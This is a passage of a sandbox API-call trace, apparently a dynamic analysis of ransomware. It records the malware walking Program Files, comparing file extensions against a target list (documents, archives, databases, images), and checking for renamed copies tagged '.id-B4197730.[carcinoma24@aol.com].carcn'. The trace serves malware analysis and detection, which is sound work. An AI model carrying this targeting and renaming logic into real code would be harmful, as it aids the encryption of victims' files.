(lpString1=".7z", lpString2="tlb") returned -1 [0297.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0297.517] lstrlenW (lpString=".dbf") returned 4 [0297.517] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0297.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0297.517] lstrlenW (lpString=".1cd") returned 4 [0297.517] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0297.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0297.517] lstrlenW (lpString=".jpg") returned 4 [0297.517] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0297.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0297.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0297.517] lstrlenW (lpString=".doc") returned 4 [0297.517] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0297.517] lstrlenW (lpString=".docx") returned 5 [0297.517] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0297.518] lstrlenW (lpString=".pdf") returned 4 [0297.518] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0297.518] lstrlenW (lpString=".xls") returned 4 [0297.518] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0297.518] lstrlenW (lpString=".xlsx") returned 5 [0297.518] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0297.518] lstrlenW (lpString=".ppt") returned 4 [0297.518] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0297.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0297.518] lstrlenW (lpString=".zip") returned 4 [0297.518] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0297.518] lstrlenW (lpString=".rar") returned 4 [0297.518] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0297.518] lstrlenW (lpString=".bz2") returned 4 [0297.518] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0297.518] lstrlenW (lpString=".7z") returned 3 [0297.518] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0297.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0297.518] lstrlenW (lpString=".dbf") returned 4 [0297.518] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0297.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0297.518] lstrlenW (lpString=".1cd") returned 4 [0297.518] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0297.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0297.518] lstrlenW (lpString=".jpg") returned 4 [0297.518] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0297.519] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0297.519] lstrlenW (lpString="msader15.dll.mui") returned 16 [0297.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0297.519] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=17920) returned 1 [0297.519] CloseHandle (hObject=0x334) returned 1 [0297.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20 [0297.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0297.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0297.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0297.520] lstrlenW (lpString=".doc") returned 4 [0297.520] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0297.520] lstrlenW (lpString=".docx") returned 5 [0297.520] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0297.520] lstrlenW (lpString=".pdf") returned 4 [0297.520] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0297.520] lstrlenW (lpString=".xls") returned 4 [0297.520] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0297.520] lstrlenW (lpString=".xlsx") returned 5 [0297.520] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0297.520] lstrlenW (lpString=".ppt") returned 4 [0297.520] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0297.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0297.520] lstrlenW (lpString=".zip") returned 4 [0297.520] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0297.521] lstrlenW (lpString=".rar") returned 4 [0297.521] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0297.521] lstrlenW (lpString=".bz2") returned 4 [0297.521] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0297.521] lstrlenW (lpString=".7z") returned 3 [0297.521] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0297.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0297.521] lstrlenW (lpString=".dbf") returned 4 [0297.521] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0297.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0297.521] lstrlenW (lpString=".1cd") returned 4 [0297.521] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0297.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0297.521] lstrlenW (lpString=".jpg") returned 4 [0297.521] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0297.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0297.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0297.521] lstrlenW (lpString=".doc") returned 4 [0297.521] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0297.521] lstrlenW (lpString=".docx") returned 5 [0297.521] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0297.521] lstrlenW (lpString=".pdf") returned 4 [0297.521] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0297.521] lstrlenW (lpString=".xls") returned 4 [0297.521] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0297.522] lstrlenW (lpString=".xlsx") returned 5 [0297.522] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0297.522] lstrlenW (lpString=".ppt") returned 4 [0297.522] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0297.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0297.522] lstrlenW (lpString=".zip") returned 4 [0297.522] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0297.522] lstrlenW (lpString=".rar") returned 4 [0297.522] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0297.522] lstrlenW (lpString=".bz2") returned 4 [0297.522] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0297.522] lstrlenW (lpString=".7z") returned 3 [0297.522] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0297.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0297.524] lstrlenW (lpString=".dbf") returned 4 [0297.524] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0297.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0297.524] lstrlenW (lpString=".1cd") returned 4 [0297.524] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0297.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0297.524] lstrlenW (lpString=".jpg") returned 4 [0297.524] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0297.524] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0297.524] lstrlenW (lpString="msader15.dll") returned 12 [0297.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0297.525] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=2560) returned 1 [0297.525] CloseHandle (hObject=0x334) returned 1 [0297.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0297.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0297.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0297.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0297.526] lstrlenW (lpString=".doc") returned 4 [0297.526] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.526] lstrlenW (lpString=".docx") returned 5 [0297.526] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0297.526] lstrlenW (lpString=".pdf") returned 4 [0297.526] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.526] lstrlenW (lpString=".xls") returned 4 [0297.526] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.526] lstrlenW (lpString=".xlsx") returned 5 [0297.526] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0297.526] lstrlenW (lpString=".ppt") returned 4 [0297.526] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0297.526] lstrlenW (lpString=".zip") returned 4 [0297.526] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.526] lstrlenW (lpString=".rar") returned 4 [0297.526] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.526] lstrlenW (lpString=".bz2") returned 4 [0297.526] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.526] lstrlenW (lpString=".7z") returned 3 [0297.526] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0297.526] lstrlenW (lpString=".dbf") returned 4 [0297.526] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0297.526] lstrlenW (lpString=".1cd") returned 4 [0297.526] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0297.527] lstrlenW (lpString=".jpg") returned 4 [0297.527] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0297.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0297.527] lstrlenW (lpString=".doc") returned 4 [0297.527] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.527] lstrlenW (lpString=".docx") returned 5 [0297.527] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0297.527] lstrlenW (lpString=".pdf") returned 4 [0297.527] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.527] lstrlenW (lpString=".xls") returned 4 [0297.527] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.527] lstrlenW (lpString=".xlsx") returned 5 [0297.527] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0297.527] lstrlenW (lpString=".ppt") returned 4 [0297.527] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0297.527] lstrlenW (lpString=".zip") returned 4 [0297.527] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.527] lstrlenW (lpString=".rar") returned 4 [0297.527] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.527] lstrlenW (lpString=".bz2") returned 4 [0297.527] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.527] lstrlenW (lpString=".7z") returned 3 [0297.527] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0297.528] lstrlenW (lpString=".dbf") returned 4 [0297.528] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0297.528] lstrlenW (lpString=".1cd") returned 4 [0297.528] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0297.528] lstrlenW (lpString=".jpg") returned 4 [0297.528] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.528] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0297.528] lstrlenW (lpString="msado15.dll") returned 11 [0297.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0297.530] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=1233920) returned 1 [0297.538] CloseHandle (hObject=0x334) returned 1 [0297.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20 [0297.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0297.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0297.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0297.539] lstrlenW (lpString=".doc") returned 4 [0297.539] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.539] lstrlenW (lpString=".docx") returned 5 [0297.539] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0297.539] lstrlenW (lpString=".pdf") returned 4 [0297.539] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.539] lstrlenW (lpString=".xls") returned 4 [0297.539] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.539] lstrlenW (lpString=".xlsx") returned 5 [0297.539] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0297.539] lstrlenW (lpString=".ppt") returned 4 [0297.539] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0297.539] lstrlenW (lpString=".zip") returned 4 [0297.539] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.539] lstrlenW (lpString=".rar") returned 4 [0297.539] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.539] lstrlenW (lpString=".bz2") returned 4 [0297.539] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.539] lstrlenW (lpString=".7z") returned 3 [0297.539] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0297.539] lstrlenW (lpString=".dbf") returned 4 [0297.539] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0297.540] lstrlenW (lpString=".1cd") returned 4 [0297.540] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0297.540] lstrlenW (lpString=".jpg") returned 4 [0297.540] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0297.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0297.540] lstrlenW (lpString=".doc") returned 4 [0297.540] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.540] lstrlenW (lpString=".docx") returned 5 [0297.540] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0297.540] lstrlenW (lpString=".pdf") returned 4 [0297.540] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.540] lstrlenW (lpString=".xls") returned 4 [0297.540] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.540] lstrlenW (lpString=".xlsx") returned 5 [0297.540] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0297.540] lstrlenW (lpString=".ppt") returned 4 [0297.540] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0297.540] lstrlenW (lpString=".zip") returned 4 [0297.540] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.540] lstrlenW (lpString=".rar") returned 4 [0297.540] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.540] lstrlenW (lpString=".bz2") returned 4 [0297.541] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.541] lstrlenW (lpString=".7z") returned 3 [0297.541] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0297.541] lstrlenW (lpString=".dbf") returned 4 [0297.541] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0297.541] lstrlenW (lpString=".1cd") returned 4 [0297.541] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0297.541] lstrlenW (lpString=".jpg") returned 4 [0297.541] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.541] lstrcmpiW (lpString1=".tlb", lpString2=".carcn") returned 1 [0297.541] lstrlenW (lpString="msado20.tlb") returned 11 [0297.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0297.542] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=50688) returned 1 [0297.542] CloseHandle (hObject=0x334) returned 1 [0297.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0297.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0297.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0297.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0297.542] lstrlenW (lpString=".doc") returned 4 [0297.542] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0297.542] lstrlenW (lpString=".docx") returned 5 [0297.543] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0297.543] lstrlenW (lpString=".pdf") returned 4 [0297.543] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0297.543] lstrlenW (lpString=".xls") returned 4 [0297.543] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0297.543] lstrlenW (lpString=".xlsx") returned 5 [0297.543] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0297.543] lstrlenW (lpString=".ppt") returned 4 [0297.543] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0297.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0297.543] lstrlenW (lpString=".zip") returned 4 [0297.543] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0297.543] lstrlenW (lpString=".rar") returned 4 [0297.543] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0297.543] lstrlenW (lpString=".bz2") returned 4 [0297.543] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0297.543] lstrlenW (lpString=".7z") returned 3 [0297.543] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0297.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0297.543] lstrlenW (lpString=".dbf") returned 4 [0297.543] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0297.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0297.543] lstrlenW (lpString=".1cd") returned 4 [0297.543] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0297.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0297.543] lstrlenW (lpString=".jpg") returned 4 [0297.543] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0297.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0297.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0297.544] lstrlenW (lpString=".doc") returned 4 [0297.544] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0297.544] lstrlenW (lpString=".docx") returned 5 [0297.544] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0297.544] lstrlenW (lpString=".pdf") returned 4 [0297.544] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0297.544] lstrlenW (lpString=".xls") returned 4 [0297.544] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0297.544] lstrlenW (lpString=".xlsx") returned 5 [0297.544] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0297.544] lstrlenW (lpString=".ppt") returned 4 [0297.544] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0297.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0297.544] lstrlenW (lpString=".zip") returned 4 [0297.544] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0297.544] lstrlenW (lpString=".rar") returned 4 [0297.544] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0297.544] lstrlenW (lpString=".bz2") returned 4 [0297.544] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0297.544] lstrlenW (lpString=".7z") returned 3 [0297.544] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0297.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0297.544] lstrlenW (lpString=".dbf") returned 4 [0297.545] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0297.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0297.545] lstrlenW (lpString=".1cd") returned 4 [0297.545] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0297.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0297.545] lstrlenW (lpString=".jpg") returned 4 [0297.545] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0297.545] lstrcmpiW (lpString1=".tlb", lpString2=".carcn") returned 1 [0297.545] lstrlenW (lpString="msado21.tlb") returned 11 [0297.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0297.546] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=53760) returned 1 [0297.546] CloseHandle (hObject=0x334) returned 1 [0297.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0297.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0297.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0297.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0297.546] lstrlenW 